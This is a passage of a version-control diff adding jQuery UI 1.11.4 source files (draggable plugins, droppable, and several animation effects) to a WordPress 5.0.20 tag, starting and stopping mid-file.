+		var t = $( "body" ),
+			o = instance.options;
+
+		if (t.css("cursor")) {
+			o._cursor = t.css("cursor");
+		}
+		t.css("cursor", o.cursor);
+	},
+	stop: function( event, ui, instance ) {
+		var o = instance.options;
+		if (o._cursor) {
+			$("body").css("cursor", o._cursor);
+		}
+	}
+});
+
+$.ui.plugin.add("draggable", "opacity", {
+	start: function( event, ui, instance ) {
+		var t = $( ui.helper ),
+			o = instance.options;
+		if (t.css("opacity")) {
+			o._opacity = t.css("opacity");
+		}
+		t.css("opacity", o.opacity);
+	},
+	stop: function( event, ui, instance ) {
+		var o = instance.options;
+		if (o._opacity) {
+			$(ui.helper).css("opacity", o._opacity);
+		}
+	}
+});
+
+$.ui.plugin.add("draggable", "scroll", {
+	start: function( event, ui, i ) {
+		if ( !i.scrollParentNotHidden ) {
+			i.scrollParentNotHidden = i.helper.scrollParent( false );
+		}
+
+		if ( i.scrollParentNotHidden[ 0 ] !== i.document[ 0 ] && i.scrollParentNotHidden[ 0 ].tagName !== "HTML" ) {
+			i.overflowOffset = i.scrollParentNotHidden.offset();
+		}
+	},
+	drag: function( event, ui, i  ) {
+
+		var o = i.options,
+			scrolled = false,
+			scrollParent = i.scrollParentNotHidden[ 0 ],
+			document = i.document[ 0 ];
+
+		if ( scrollParent !== document && scrollParent.tagName !== "HTML" ) {
+			if ( !o.axis || o.axis !== "x" ) {
+				if ( ( i.overflowOffset.top + scrollParent.offsetHeight ) - event.pageY < o.scrollSensitivity ) {
+					scrollParent.scrollTop = scrolled = scrollParent.scrollTop + o.scrollSpeed;
+				} else if ( event.pageY - i.overflowOffset.top < o.scrollSensitivity ) {
+					scrollParent.scrollTop = scrolled = scrollParent.scrollTop - o.scrollSpeed;
+				}
+			}
+
+			if ( !o.axis || o.axis !== "y" ) {
+				if ( ( i.overflowOffset.left + scrollParent.offsetWidth ) - event.pageX < o.scrollSensitivity ) {
+					scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft + o.scrollSpeed;
+				} else if ( event.pageX - i.overflowOffset.left < o.scrollSensitivity ) {
+					scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft - o.scrollSpeed;
+				}
+			}
+
+		} else {
+
+			if (!o.axis || o.axis !== "x") {
+				if (event.pageY - $(document).scrollTop() < o.scrollSensitivity) {
+					scrolled = $(document).scrollTop($(document).scrollTop() - o.scrollSpeed);
+				} else if ($(window).height() - (event.pageY - $(document).scrollTop()) < o.scrollSensitivity) {
+					scrolled = $(document).scrollTop($(document).scrollTop() + o.scrollSpeed);
+				}
+			}
+
+			if (!o.axis || o.axis !== "y") {
+				if (event.pageX - $(document).scrollLeft() < o.scrollSensitivity) {
+					scrolled = $(document).scrollLeft($(document).scrollLeft() - o.scrollSpeed);
+				} else if ($(window).width() - (event.pageX - $(document).scrollLeft()) < o.scrollSensitivity) {
+					scrolled = $(document).scrollLeft($(document).scrollLeft() + o.scrollSpeed);
+				}
+			}
+
+		}
+
+		if (scrolled !== false && $.ui.ddmanager && !o.dropBehaviour) {
+			$.ui.ddmanager.prepareOffsets(i, event);
+		}
+
+	}
+});
+
+$.ui.plugin.add("draggable", "snap", {
+	start: function( event, ui, i ) {
+
+		var o = i.options;
+
+		i.snapElements = [];
+
+		$(o.snap.constructor !== String ? ( o.snap.items || ":data(ui-draggable)" ) : o.snap).each(function() {
+			var $t = $(this),
+				$o = $t.offset();
+			if (this !== i.element[0]) {
+				i.snapElements.push({
+					item: this,
+					width: $t.outerWidth(), height: $t.outerHeight(),
+					top: $o.top, left: $o.left
+				});
+			}
+		});
+
+	},
+	drag: function( event, ui, inst ) {
+
+		var ts, bs, ls, rs, l, r, t, b, i, first,
+			o = inst.options,
+			d = o.snapTolerance,
+			x1 = ui.offset.left, x2 = x1 + inst.helperProportions.width,
+			y1 = ui.offset.top, y2 = y1 + inst.helperProportions.height;
+
+		for (i = inst.snapElements.length - 1; i >= 0; i--){
+
+			l = inst.snapElements[i].left - inst.margins.left;
+			r = l + inst.snapElements[i].width;
+			t = inst.snapElements[i].top - inst.margins.top;
+			b = t + inst.snapElements[i].height;
+
+			if ( x2 < l - d || x1 > r + d || y2 < t - d || y1 > b + d || !$.contains( inst.snapElements[ i ].item.ownerDocument, inst.snapElements[ i ].item ) ) {
+				if (inst.snapElements[i].snapping) {
+					(inst.options.snap.release && inst.options.snap.release.call(inst.element, event, $.extend(inst._uiHash(), { snapItem: inst.snapElements[i].item })));
+				}
+				inst.snapElements[i].snapping = false;
+				continue;
+			}
+
+			if (o.snapMode !== "inner") {
+				ts = Math.abs(t - y2) <= d;
+				bs = Math.abs(b - y1) <= d;
+				ls = Math.abs(l - x2) <= d;
+				rs = Math.abs(r - x1) <= d;
+				if (ts) {
+					ui.position.top = inst._convertPositionTo("relative", { top: t - inst.helperProportions.height, left: 0 }).top;
+				}
+				if (bs) {
+					ui.position.top = inst._convertPositionTo("relative", { top: b, left: 0 }).top;
+				}
+				if (ls) {
+					ui.position.left = inst._convertPositionTo("relative", { top: 0, left: l - inst.helperProportions.width }).left;
+				}
+				if (rs) {
+					ui.position.left = inst._convertPositionTo("relative", { top: 0, left: r }).left;
+				}
+			}
+
+			first = (ts || bs || ls || rs);
+
+			if (o.snapMode !== "outer") {
+				ts = Math.abs(t - y1) <= d;
+				bs = Math.abs(b - y2) <= d;
+				ls = Math.abs(l - x1) <= d;
+				rs = Math.abs(r - x2) <= d;
+				if (ts) {
+					ui.position.top = inst._convertPositionTo("relative", { top: t, left: 0 }).top;
+				}
+				if (bs) {
+					ui.position.top = inst._convertPositionTo("relative", { top: b - inst.helperProportions.height, left: 0 }).top;
+				}
+				if (ls) {
+					ui.position.left = inst._convertPositionTo("relative", { top: 0, left: l }).left;
+				}
+				if (rs) {
+					ui.position.left = inst._convertPositionTo("relative", { top: 0, left: r - inst.helperProportions.width }).left;
+				}
+			}
+
+			if (!inst.snapElements[i].snapping && (ts || bs || ls || rs || first)) {
+				(inst.options.snap.snap && inst.options.snap.snap.call(inst.element, event, $.extend(inst._uiHash(), { snapItem: inst.snapElements[i].item })));
+			}
+			inst.snapElements[i].snapping = (ts || bs || ls || rs || first);
+
+		}
+
+	}
+});
+
+$.ui.plugin.add("draggable", "stack", {
+	start: function( event, ui, instance ) {
+		var min,
+			o = instance.options,
+			group = $.makeArray($(o.stack)).sort(function(a, b) {
+				return (parseInt($(a).css("zIndex"), 10) || 0) - (parseInt($(b).css("zIndex"), 10) || 0);
+			});
+
+		if (!group.length) { return; }
+
+		min = parseInt($(group[0]).css("zIndex"), 10) || 0;
+		$(group).each(function(i) {
+			$(this).css("zIndex", min + i);
+		});
+		this.css("zIndex", (min + group.length));
+	}
+});
+
+$.ui.plugin.add("draggable", "zIndex", {
+	start: function( event, ui, instance ) {
+		var t = $( ui.helper ),
+			o = instance.options;
+
+		if (t.css("zIndex")) {
+			o._zIndex = t.css("zIndex");
+		}
+		t.css("zIndex", o.zIndex);
+	},
+	stop: function( event, ui, instance ) {
+		var o = instance.options;
+
+		if (o._zIndex) {
+			$(ui.helper).css("zIndex", o._zIndex);
+		}
+	}
+});
+
+return $.ui.draggable;
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/droppable.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/droppable.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/droppable.js	(revision 56912)
@@ -0,0 +1,413 @@
+/*!
+ * jQuery UI Droppable 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/droppable/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget",
+			"./mouse",
+			"./draggable"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+$.widget( "ui.droppable", {
+	version: "1.11.4",
+	widgetEventPrefix: "drop",
+	options: {
+		accept: "*",
+		activeClass: false,
+		addClasses: true,
+		greedy: false,
+		hoverClass: false,
+		scope: "default",
+		tolerance: "intersect",
+
+		// callbacks
+		activate: null,
+		deactivate: null,
+		drop: null,
+		out: null,
+		over: null
+	},
+	_create: function() {
+
+		var proportions,
+			o = this.options,
+			accept = o.accept;
+
+		this.isover = false;
+		this.isout = true;
+
+		this.accept = $.isFunction( accept ) ? accept : function( d ) {
+			return d.is( accept );
+		};
+
+		this.proportions = function( /* valueToWrite */ ) {
+			if ( arguments.length ) {
+				// Store the droppable's proportions
+				proportions = arguments[ 0 ];
+			} else {
+				// Retrieve or derive the droppable's proportions
+				return proportions ?
+					proportions :
+					proportions = {
+						width: this.element[ 0 ].offsetWidth,
+						height: this.element[ 0 ].offsetHeight
+					};
+			}
+		};
+
+		this._addToManager( o.scope );
+
+		o.addClasses && this.element.addClass( "ui-droppable" );
+
+	},
+
+	_addToManager: function( scope ) {
+		// Add the reference and positions to the manager
+		$.ui.ddmanager.droppables[ scope ] = $.ui.ddmanager.droppables[ scope ] || [];
+		$.ui.ddmanager.droppables[ scope ].push( this );
+	},
+
+	_splice: function( drop ) {
+		var i = 0;
+		for ( ; i < drop.length; i++ ) {
+			if ( drop[ i ] === this ) {
+				drop.splice( i, 1 );
+			}
+		}
+	},
+
+	_destroy: function() {
+		var drop = $.ui.ddmanager.droppables[ this.options.scope ];
+
+		this._splice( drop );
+
+		this.element.removeClass( "ui-droppable ui-droppable-disabled" );
+	},
+
+	_setOption: function( key, value ) {
+
+		if ( key === "accept" ) {
+			this.accept = $.isFunction( value ) ? value : function( d ) {
+				return d.is( value );
+			};
+		} else if ( key === "scope" ) {
+			var drop = $.ui.ddmanager.droppables[ this.options.scope ];
+
+			this._splice( drop );
+			this._addToManager( value );
+		}
+
+		this._super( key, value );
+	},
+
+	_activate: function( event ) {
+		var draggable = $.ui.ddmanager.current;
+		if ( this.options.activeClass ) {
+			this.element.addClass( this.options.activeClass );
+		}
+		if ( draggable ){
+			this._trigger( "activate", event, this.ui( draggable ) );
+		}
+	},
+
+	_deactivate: function( event ) {
+		var draggable = $.ui.ddmanager.current;
+		if ( this.options.activeClass ) {
+			this.element.removeClass( this.options.activeClass );
+		}
+		if ( draggable ){
+			this._trigger( "deactivate", event, this.ui( draggable ) );
+		}
+	},
+
+	_over: function( event ) {
+
+		var draggable = $.ui.ddmanager.current;
+
+		// Bail if draggable and droppable are same element
+		if ( !draggable || ( draggable.currentItem || draggable.element )[ 0 ] === this.element[ 0 ] ) {
+			return;
+		}
+
+		if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) {
+			if ( this.options.hoverClass ) {
+				this.element.addClass( this.options.hoverClass );
+			}
+			this._trigger( "over", event, this.ui( draggable ) );
+		}
+
+	},
+
+	_out: function( event ) {
+
+		var draggable = $.ui.ddmanager.current;
+
+		// Bail if draggable and droppable are same element
+		if ( !draggable || ( draggable.currentItem || draggable.element )[ 0 ] === this.element[ 0 ] ) {
+			return;
+		}
+
+		if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) {
+			if ( this.options.hoverClass ) {
+				this.element.removeClass( this.options.hoverClass );
+			}
+			this._trigger( "out", event, this.ui( draggable ) );
+		}
+
+	},
+
+	_drop: function( event, custom ) {
+
+		var draggable = custom || $.ui.ddmanager.current,
+			childrenIntersection = false;
+
+		// Bail if draggable and droppable are same element
+		if ( !draggable || ( draggable.currentItem || draggable.element )[ 0 ] === this.element[ 0 ] ) {
+			return false;
+		}
+
+		this.element.find( ":data(ui-droppable)" ).not( ".ui-draggable-dragging" ).each(function() {
+			var inst = $( this ).droppable( "instance" );
+			if (
+				inst.options.greedy &&
+				!inst.options.disabled &&
+				inst.options.scope === draggable.options.scope &&
+				inst.accept.call( inst.element[ 0 ], ( draggable.currentItem || draggable.element ) ) &&
+				$.ui.intersect( draggable, $.extend( inst, { offset: inst.element.offset() } ), inst.options.tolerance, event )
+			) { childrenIntersection = true; return false; }
+		});
+		if ( childrenIntersection ) {
+			return false;
+		}
+
+		if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) {
+			if ( this.options.activeClass ) {
+				this.element.removeClass( this.options.activeClass );
+			}
+			if ( this.options.hoverClass ) {
+				this.element.removeClass( this.options.hoverClass );
+			}
+			this._trigger( "drop", event, this.ui( draggable ) );
+			return this.element;
+		}
+
+		return false;
+
+	},
+
+	ui: function( c ) {
+		return {
+			draggable: ( c.currentItem || c.element ),
+			helper: c.helper,
+			position: c.position,
+			offset: c.positionAbs
+		};
+	}
+
+});
+
+$.ui.intersect = (function() {
+	function isOverAxis( x, reference, size ) {
+		return ( x >= reference ) && ( x < ( reference + size ) );
+	}
+
+	return function( draggable, droppable, toleranceMode, event ) {
+
+		if ( !droppable.offset ) {
+			return false;
+		}
+
+		var x1 = ( draggable.positionAbs || draggable.position.absolute ).left + draggable.margins.left,
+			y1 = ( draggable.positionAbs || draggable.position.absolute ).top + draggable.margins.top,
+			x2 = x1 + draggable.helperProportions.width,
+			y2 = y1 + draggable.helperProportions.height,
+			l = droppable.offset.left,
+			t = droppable.offset.top,
+			r = l + droppable.proportions().width,
+			b = t + droppable.proportions().height;
+
+		switch ( toleranceMode ) {
+		case "fit":
+			return ( l <= x1 && x2 <= r && t <= y1 && y2 <= b );
+		case "intersect":
+			return ( l < x1 + ( draggable.helperProportions.width / 2 ) && // Right Half
+				x2 - ( draggable.helperProportions.width / 2 ) < r && // Left Half
+				t < y1 + ( draggable.helperProportions.height / 2 ) && // Bottom Half
+				y2 - ( draggable.helperProportions.height / 2 ) < b ); // Top Half
+		case "pointer":
+			return isOverAxis( event.pageY, t, droppable.proportions().height ) && isOverAxis( event.pageX, l, droppable.proportions().width );
+		case "touch":
+			return (
+				( y1 >= t && y1 <= b ) || // Top edge touching
+				( y2 >= t && y2 <= b ) || // Bottom edge touching
+				( y1 < t && y2 > b ) // Surrounded vertically
+			) && (
+				( x1 >= l && x1 <= r ) || // Left edge touching
+				( x2 >= l && x2 <= r ) || // Right edge touching
+				( x1 < l && x2 > r ) // Surrounded horizontally
+			);
+		default:
+			return false;
+		}
+	};
+})();
+
+/*
+	This manager tracks offsets of draggables and droppables
+*/
+$.ui.ddmanager = {
+	current: null,
+	droppables: { "default": [] },
+	prepareOffsets: function( t, event ) {
+
+		var i, j,
+			m = $.ui.ddmanager.droppables[ t.options.scope ] || [],
+			type = event ? event.type : null, // workaround for #2317
+			list = ( t.currentItem || t.element ).find( ":data(ui-droppable)" ).addBack();
+
+		droppablesLoop: for ( i = 0; i < m.length; i++ ) {
+
+			// No disabled and non-accepted
+			if ( m[ i ].options.disabled || ( t && !m[ i ].accept.call( m[ i ].element[ 0 ], ( t.currentItem || t.element ) ) ) ) {
+				continue;
+			}
+
+			// Filter out elements in the current dragged item
+			for ( j = 0; j < list.length; j++ ) {
+				if ( list[ j ] === m[ i ].element[ 0 ] ) {
+					m[ i ].proportions().height = 0;
+					continue droppablesLoop;
+				}
+			}
+
+			m[ i ].visible = m[ i ].element.css( "display" ) !== "none";
+			if ( !m[ i ].visible ) {
+				continue;
+			}
+
+			// Activate the droppable if used directly from draggables
+			if ( type === "mousedown" ) {
+				m[ i ]._activate.call( m[ i ], event );
+			}
+
+			m[ i ].offset = m[ i ].element.offset();
+			m[ i ].proportions({ width: m[ i ].element[ 0 ].offsetWidth, height: m[ i ].element[ 0 ].offsetHeight });
+
+		}
+
+	},
+	drop: function( draggable, event ) {
+
+		var dropped = false;
+		// Create a copy of the droppables in case the list changes during the drop (#9116)
+		$.each( ( $.ui.ddmanager.droppables[ draggable.options.scope ] || [] ).slice(), function() {
+
+			if ( !this.options ) {
+				return;
+			}
+			if ( !this.options.disabled && this.visible && $.ui.intersect( draggable, this, this.options.tolerance, event ) ) {
+				dropped = this._drop.call( this, event ) || dropped;
+			}
+
+			if ( !this.options.disabled && this.visible && this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) {
+				this.isout = true;
+				this.isover = false;
+				this._deactivate.call( this, event );
+			}
+
+		});
+		return dropped;
+
+	},
+	dragStart: function( draggable, event ) {
+		// Listen for scrolling so that if the dragging causes scrolling the position of the droppables can be recalculated (see #5003)
+		draggable.element.parentsUntil( "body" ).bind( "scroll.droppable", function() {
+			if ( !draggable.options.refreshPositions ) {
+				$.ui.ddmanager.prepareOffsets( draggable, event );
+			}
+		});
+	},
+	drag: function( draggable, event ) {
+
+		// If you have a highly dynamic page, you might try this option. It renders positions every time you move the mouse.
+		if ( draggable.options.refreshPositions ) {
+			$.ui.ddmanager.prepareOffsets( draggable, event );
+		}
+
+		// Run through all droppables and check their positions based on specific tolerance options
+		$.each( $.ui.ddmanager.droppables[ draggable.options.scope ] || [], function() {
+
+			if ( this.options.disabled || this.greedyChild || !this.visible ) {
+				return;
+			}
+
+			var parentInstance, scope, parent,
+				intersects = $.ui.intersect( draggable, this, this.options.tolerance, event ),
+				c = !intersects && this.isover ? "isout" : ( intersects && !this.isover ? "isover" : null );
+			if ( !c ) {
+				return;
+			}
+
+			if ( this.options.greedy ) {
+				// find droppable parents with same scope
+				scope = this.options.scope;
+				parent = this.element.parents( ":data(ui-droppable)" ).filter(function() {
+					return $( this ).droppable( "instance" ).options.scope === scope;
+				});
+
+				if ( parent.length ) {
+					parentInstance = $( parent[ 0 ] ).droppable( "instance" );
+					parentInstance.greedyChild = ( c === "isover" );
+				}
+			}
+
+			// we just moved into a greedy child
+			if ( parentInstance && c === "isover" ) {
+				parentInstance.isover = false;
+				parentInstance.isout = true;
+				parentInstance._out.call( parentInstance, event );
+			}
+
+			this[ c ] = true;
+			this[c === "isout" ? "isover" : "isout"] = false;
+			this[c === "isover" ? "_over" : "_out"].call( this, event );
+
+			// we just moved out of a greedy child
+			if ( parentInstance && c === "isout" ) {
+				parentInstance.isout = false;
+				parentInstance.isover = true;
+				parentInstance._over.call( parentInstance, event );
+			}
+		});
+
+	},
+	dragStop: function( draggable, event ) {
+		draggable.element.parentsUntil( "body" ).unbind( "scroll.droppable" );
+		// Call prepareOffsets one final time since IE does not fire return scroll events when overflow was caused by drag (see #5003)
+		if ( !draggable.options.refreshPositions ) {
+			$.ui.ddmanager.prepareOffsets( draggable, event );
+		}
+	}
+};
+
+return $.ui.droppable;
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-blind.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-blind.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-blind.js	(revision 56912)
@@ -0,0 +1,90 @@
+/*!
+ * jQuery UI Effects Blind 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/blind-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.blind = function( o, done ) {
+	// Create element
+	var el = $( this ),
+		rvertical = /up|down|vertical/,
+		rpositivemotion = /up|left|vertical|horizontal/,
+		props = [ "position", "top", "bottom", "left", "right", "height", "width" ],
+		mode = $.effects.setMode( el, o.mode || "hide" ),
+		direction = o.direction || "up",
+		vertical = rvertical.test( direction ),
+		ref = vertical ? "height" : "width",
+		ref2 = vertical ? "top" : "left",
+		motion = rpositivemotion.test( direction ),
+		animation = {},
+		show = mode === "show",
+		wrapper, distance, margin;
+
+	// if already wrapped, the wrapper's properties are my property. #6245
+	if ( el.parent().is( ".ui-effects-wrapper" ) ) {
+		$.effects.save( el.parent(), props );
+	} else {
+		$.effects.save( el, props );
+	}
+	el.show();
+	wrapper = $.effects.createWrapper( el ).css({
+		overflow: "hidden"
+	});
+
+	distance = wrapper[ ref ]();
+	margin = parseFloat( wrapper.css( ref2 ) ) || 0;
+
+	animation[ ref ] = show ? distance : 0;
+	if ( !motion ) {
+		el
+			.css( vertical ? "bottom" : "right", 0 )
+			.css( vertical ? "top" : "left", "auto" )
+			.css({ position: "absolute" });
+
+		animation[ ref2 ] = show ? margin : distance + margin;
+	}
+
+	// start at 0 if we are showing
+	if ( show ) {
+		wrapper.css( ref, 0 );
+		if ( !motion ) {
+			wrapper.css( ref2, margin + distance );
+		}
+	}
+
+	// Animate
+	wrapper.animate( animation, {
+		duration: o.duration,
+		easing: o.easing,
+		queue: false,
+		complete: function() {
+			if ( mode === "hide" ) {
+				el.hide();
+			}
+			$.effects.restore( el, props );
+			$.effects.removeWrapper( el );
+			done();
+		}
+	});
+};
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-bounce.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-bounce.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-bounce.js	(revision 56912)
@@ -0,0 +1,123 @@
+/*!
+ * jQuery UI Effects Bounce 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/bounce-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.bounce = function( o, done ) {
+	var el = $( this ),
+		props = [ "position", "top", "bottom", "left", "right", "height", "width" ],
+
+		// defaults:
+		mode = $.effects.setMode( el, o.mode || "effect" ),
+		hide = mode === "hide",
+		show = mode === "show",
+		direction = o.direction || "up",
+		distance = o.distance,
+		times = o.times || 5,
+
+		// number of internal animations
+		anims = times * 2 + ( show || hide ? 1 : 0 ),
+		speed = o.duration / anims,
+		easing = o.easing,
+
+		// utility:
+		ref = ( direction === "up" || direction === "down" ) ? "top" : "left",
+		motion = ( direction === "up" || direction === "left" ),
+		i,
+		upAnim,
+		downAnim,
+
+		// we will need to re-assemble the queue to stack our animations in place
+		queue = el.queue(),
+		queuelen = queue.length;
+
+	// Avoid touching opacity to prevent clearType and PNG issues in IE
+	if ( show || hide ) {
+		props.push( "opacity" );
+	}
+
+	$.effects.save( el, props );
+	el.show();
+	$.effects.createWrapper( el ); // Create Wrapper
+
+	// default distance for the BIGGEST bounce is the outer Distance / 3
+	if ( !distance ) {
+		distance = el[ ref === "top" ? "outerHeight" : "outerWidth" ]() / 3;
+	}
+
+	if ( show ) {
+		downAnim = { opacity: 1 };
+		downAnim[ ref ] = 0;
+
+		// if we are showing, force opacity 0 and set the initial position
+		// then do the "first" animation
+		el.css( "opacity", 0 )
+			.css( ref, motion ? -distance * 2 : distance * 2 )
+			.animate( downAnim, speed, easing );
+	}
+
+	// start at the smallest distance if we are hiding
+	if ( hide ) {
+		distance = distance / Math.pow( 2, times - 1 );
+	}
+
+	downAnim = {};
+	downAnim[ ref ] = 0;
+	// Bounces up/down/left/right then back to 0 -- times * 2 animations happen here
+	for ( i = 0; i < times; i++ ) {
+		upAnim = {};
+		upAnim[ ref ] = ( motion ? "-=" : "+=" ) + distance;
+
+		el.animate( upAnim, speed, easing )
+			.animate( downAnim, speed, easing );
+
+		distance = hide ? distance * 2 : distance / 2;
+	}
+
+	// Last Bounce when Hiding
+	if ( hide ) {
+		upAnim = { opacity: 0 };
+		upAnim[ ref ] = ( motion ? "-=" : "+=" ) + distance;
+
+		el.animate( upAnim, speed, easing );
+	}
+
+	el.queue(function() {
+		if ( hide ) {
+			el.hide();
+		}
+		$.effects.restore( el, props );
+		$.effects.removeWrapper( el );
+		done();
+	});
+
+	// inject all the animations we just queued to be first in line (after "inprogress")
+	if ( queuelen > 1) {
+		queue.splice.apply( queue,
+			[ 1, 0 ].concat( queue.splice( queuelen, anims + 1 ) ) );
+	}
+	el.dequeue();
+
+};
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-clip.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-clip.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-clip.js	(revision 56912)
@@ -0,0 +1,77 @@
+/*!
+ * jQuery UI Effects Clip 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/clip-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.clip = function( o, done ) {
+	// Create element
+	var el = $( this ),
+		props = [ "position", "top", "bottom", "left", "right", "height", "width" ],
+		mode = $.effects.setMode( el, o.mode || "hide" ),
+		show = mode === "show",
+		direction = o.direction || "vertical",
+		vert = direction === "vertical",
+		size = vert ? "height" : "width",
+		position = vert ? "top" : "left",
+		animation = {},
+		wrapper, animate, distance;
+
+	// Save & Show
+	$.effects.save( el, props );
+	el.show();
+
+	// Create Wrapper
+	wrapper = $.effects.createWrapper( el ).css({
+		overflow: "hidden"
+	});
+	animate = ( el[0].tagName === "IMG" ) ? wrapper : el;
+	distance = animate[ size ]();
+
+	// Shift
+	if ( show ) {
+		animate.css( size, 0 );
+		animate.css( position, distance / 2 );
+	}
+
+	// Create Animation Object:
+	animation[ size ] = show ? distance : 0;
+	animation[ position ] = show ? 0 : distance / 2;
+
+	// Animate
+	animate.animate( animation, {
+		queue: false,
+		duration: o.duration,
+		easing: o.easing,
+		complete: function() {
+			if ( !show ) {
+				el.hide();
+			}
+			$.effects.restore( el, props );
+			$.effects.removeWrapper( el );
+			done();
+		}
+	});
+
+};
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-drop.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-drop.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-drop.js	(revision 56912)
@@ -0,0 +1,75 @@
+/*!
+ * jQuery UI Effects Drop 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/drop-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.drop = function( o, done ) {
+
+	var el = $( this ),
+		props = [ "position", "top", "bottom", "left", "right", "opacity", "height", "width" ],
+		mode = $.effects.setMode( el, o.mode || "hide" ),
+		show = mode === "show",
+		direction = o.direction || "left",
+		ref = ( direction === "up" || direction === "down" ) ? "top" : "left",
+		motion = ( direction === "up" || direction === "left" ) ? "pos" : "neg",
+		animation = {
+			opacity: show ? 1 : 0
+		},
+		distance;
+
+	// Adjust
+	$.effects.save( el, props );
+	el.show();
+	$.effects.createWrapper( el );
+
+	distance = o.distance || el[ ref === "top" ? "outerHeight" : "outerWidth" ]( true ) / 2;
+
+	if ( show ) {
+		el
+			.css( "opacity", 0 )
+			.css( ref, motion === "pos" ? -distance : distance );
+	}
+
+	// Animation
+	animation[ ref ] = ( show ?
+		( motion === "pos" ? "+=" : "-=" ) :
+		( motion === "pos" ? "-=" : "+=" ) ) +
+		distance;
+
+	// Animate
+	el.animate( animation, {
+		queue: false,
+		duration: o.duration,
+		easing: o.easing,
+		complete: function() {
+			if ( mode === "hide" ) {
+				el.hide();
+			}
+			$.effects.restore( el, props );
+			$.effects.removeWrapper( el );
+			done();
+		}
+	});
+};
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-explode.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-explode.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/effect-explode.js	(revision 56912)
@@ -0,0 +1,107 @@
+/*!
+ * jQuery UI Effects Explode 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/explode-effect/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./effect"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.effects.effect.explode = function( o, done ) {
+
+	var rows = o.pieces ? Math.round( Math.sqrt( o.pieces ) ) : 3,
+		cells = rows,
+		el = $( this ),
+		mode = $.effects.setMode( el, o.mode || "hide" ),
+		show = mode === "show",
+
+		// show and then visibility:hidden the element before calculating offset
+		offset = el.show().css( "visibility", "hidden" ).offset(),
+
+		// width and height of a piece
+		width = Math.ceil( el.outerWidth() / cells ),
+		height = Math.ceil( el.outerHeight() / rows ),
+		pieces = [],
+
+		// loop
+		i, j, left, top, mx, my;
+
+	// children animate complete:
+	function childComplete() {
+		pieces.push( this );
+		if ( pieces.length === rows * cells ) {
+			animComplete();
+		}
+	}
+
+	// clone the element for each row and cell.
+	for ( i = 0; i < rows ; i++ ) { // ===>
+		top = offset.top + i * height;
+		my = i - ( rows - 1 ) / 2 ;
+
+		for ( j = 0; j < cells ; j++ ) { // |||
